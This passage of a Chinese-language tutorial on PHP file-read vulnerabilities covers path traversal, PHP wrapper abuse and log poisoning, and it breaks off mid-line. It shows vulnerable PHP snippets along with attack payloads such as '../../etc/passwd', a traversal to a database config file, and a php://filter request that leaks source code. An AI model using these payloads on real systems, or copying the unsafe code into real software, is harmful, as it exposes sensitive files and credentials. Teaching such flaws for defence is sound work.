文章目录
一、漏洞本质:当读取操作越过安全边界
// 危险示例:直接接收用户路径参数
$file = $_GET['file'];
echo file_get_contents($file);
攻击者构造请求:
http://example.com/view.php?file=../../etc/passwd
➔ 服务器敏感文件泄露
二、漏洞分类与攻击手法
1. 路径遍历漏洞(Path Traversal)
// 未过滤特殊字符
$config = include($_POST['config_file']);
// 攻击payload:
// config_file=../../../var/www/config/database.ini
2. 伪协议利用(PHP Wrappers)
// 允许使用php://filter
$data = file_get_contents($_GET['src']);
// 攻击payload:
// src=php://filter/convert.base64-encode/resource=index.php
➔ 获取网站源码的Base64编码
3. 日志文件注入(Log Poisoning)
// 读取访问日志
$log = file_get_contents('/var